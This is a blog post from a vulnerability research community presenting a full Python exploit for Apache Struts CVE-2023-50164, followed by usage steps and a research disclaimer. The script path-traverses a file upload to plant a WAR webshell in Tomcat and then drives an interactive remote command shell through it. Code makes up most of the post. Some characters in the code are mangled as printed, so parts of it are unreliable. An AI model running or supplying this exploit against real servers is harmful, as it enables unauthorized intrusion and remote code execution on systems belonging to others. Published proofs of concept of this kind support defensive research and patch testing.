Apache Struts RCE (CVE-2023–50164) — PoC + exploit

vsociety
3 min readApr 29, 2024

by@jakaba

Screenshots from the blog posts

PoC video

Summary

A critical security vulnerability, identified as CVE-2023–50164 (CVE: 9.8) was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution (RCE).

General

  1. import os
  2. import sys
  3. import time
  4. import string
  5. import random
  6. import argparse
  7. import requests
  8. from urllib.parse import urlparse, urlunparse
  9. from requests_toolbelt import MultipartEncoder
  10. from requests.exceptions import ConnectionError
  11. MAX_ATTEMPTS = 10
  12. DELAY_SECONDS = 1
  13. HTTP_UPLOAD_PARAM_NAME = “upload”
  14. CATALINA_HOME = “/opt/tomcat/”
  15. NAME_OF_WEBSHELL = “webshell”
  16. NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + “.war”
  17. NUMBER_OF_PARENTS_IN_PATH = 2
  18. def get_base_url(URL):
  19. parsed_url = urlparse(URL)
  20. base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, “”, “”, “”, “”))
  21. return base_url
  22. def create_war_file():
  23. if not os.path.exists(NAME_OF_WEBSHELL_WAR):
  24. os.system(“jar -cvf {} {}”.format(NAME_OF_WEBSHELL_WAR,
  25. NAME_OF_WEBSHELL+’.jsp’))
  26. print(“[+] WAR file created successfully.”)
  27. else:
  28. print(“[+] WAR file already exists.”)
  29. def upload_file(URL):
  30. create_war_file()
  31. if not os.path.exists(NAME_OF_WEBSHELL_WAR):
  32. if not os.path.exists(NAME_OF_WEBSHELL_WAR):
  33. print(“[-] ERROR: webshell.war not found in the current directory.”)
  34. exit()
  35. war_location = ‘../’ * (NUMBER_OF_PARENTS_IN_PATH-1) + ‘..’ + \
  36. CATALINA_HOME + ‘webapps/’ + NAME_OF_WEBSHELL_WAR
  37. war_file_content = open(NAME_OF_WEBSHELL_WAR, “rb”).read()
  38. files =
  39. HTTP_UPLOAD_PARAM_NAME.capitalize(): (“arbitrary.txt”,war_file_content, “application/octet-stream”),
  40. HTTP_UPLOAD_PARAM_NAME+”FileName”: war_location
  41. }
  42. boundary = ‘ — — WebKitFormBoundary’ +‘’.join(random.sample(string.ascii_letters + string.digits, 16))
  43. m = MultipartEncoder(fields=files, boundary=boundary)
  44. headers = {“Content-Type”: m.content_type}
  45. try:
  46. response = requests.post(url, headers=headers, data=m)
  47. print(f”[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.”)
  48. except requests.RequestException as e:
  49. print(“[-] Error while uploading the WAR webshell:”, e)
  50. sys.exit(1)
  51. def attempt_connection(URL):
  52. for attempt in range(1, MAX_ATTEMPTS + 1):
  53. try:
  54. r = requests.get(url)
  55. if r.status_code == 200:
  56. print(‘[+] Successfully connected to the web shell.’)
  57. return True
  58. else:
  59. raise Exception
  60. except ConnectionError:
  61. if attempt == MAX_ATTEMPTS:
  62. print(f’[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting…’)
  63. return False
  64. time.sleep(DELAY_SECONDS)
  65. except Exception:
  66. if attempt == MAX_ATTEMPTS:
  67. print(‘[-] Maximum attempts reached. Exiting…’)
  68. return False
  69. time.sleep(DELAY_SECONDS)
  70. return False
  71. def start_interactive_shell(URL):
  72. if not attempt_connection(URL):
  73. sys.exit()
  74. while True:
  75. try:
  76. cmd = input(“\033[91mCMD\033[0m > “)
  77. if cmd == ‘exit’:
  78. raise KeyboardInterrupt
  79. r = requests.get(url + “?cmd=” + cmd, verify=False)
  80. if r.status_code == 200:
  81. print(r.text.replace(‘\n\n’, ‘’))
  82. else:
  83. raise Exception
  84. except KeyboardInterrupt:
  85. sys.exit()
  86. except ConnectionError:
  87. print(‘[-] We lost our connection to the web shell. Exiting…’)
  88. sys.exit()
  89. except:
  90. print(‘[-] Something unexpected happened. Exiting…’)
  91. sys.exit()
  92. if __name__ == “__main__”:
  93. parser = argparse.ArgumentParser(description=”Exploit script for CVE-2023–50164 by uploading a webshell to a vulnerable Struts app’s server.”)
  94. parser.add_argument(“ — url”, required=True, help=”Full URL of the upload endpoint.”)
  95. args = parser.parse_args()
  96. if not args.url.startswith(“http”):
  97. print(“[-] ERROR: Invalid URL. Please provide a valid URL starting with ‘http’ or ‘https’.”)
  98. exit()
  99. print(“[+] Starting exploitation…”)
    upload_file(args.url)
  100. webshell_url =
  101. f”{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp”
  102. print(f”[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>”)
  103. print(f”[+] Attempting a connection with webshell.”)
  104. start_interactive_shell(webshell_url)

Description

CVE-2023–50164: Apache Struts path traversal to RCE vulnerability

A critical security vulnerability, identified as CVE-2023–50164 (CVE: 9.8) was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution (RCE).

Demo Struts 2 application

A simple dummy app is developed for demonstration purposes (see struts-app folder in the repo). You can deploy it to Tomcat or any other servlet, or run it by mvn jetty:run. In this latter case you can reach the app on port 9999.

The exploit script works only in cases when the app is deployed to Tomcat since the exploitation path is to upload a WAR webshell. However, many other exploitation path can work in case of the same vulnerability based on the used technologies and other circumstances.

Usage

Install PIP packages:

pip install requests requests_toolbelt

Then, run the exploit script with for example:

python exploit.py --url http://localhost:8080/upload-1.0.0/upload.action

Note that the exploit needs a full URL where the file upload functionality is implemented.

Disclaimer

This exploit script has been created solely for the purposes of research and for the development of effective defensive techniques. It is not intended to be used for any malicious or unauthorized activities. The author and the owner of the script disclaim any responsibility or liability for any misuse or damage caused by this software. Users are urged to use this software responsibly and only in accordance with applicable laws and regulations. Use responsibly.

--

--

vsociety

vsociety is a community centered around vulnerability research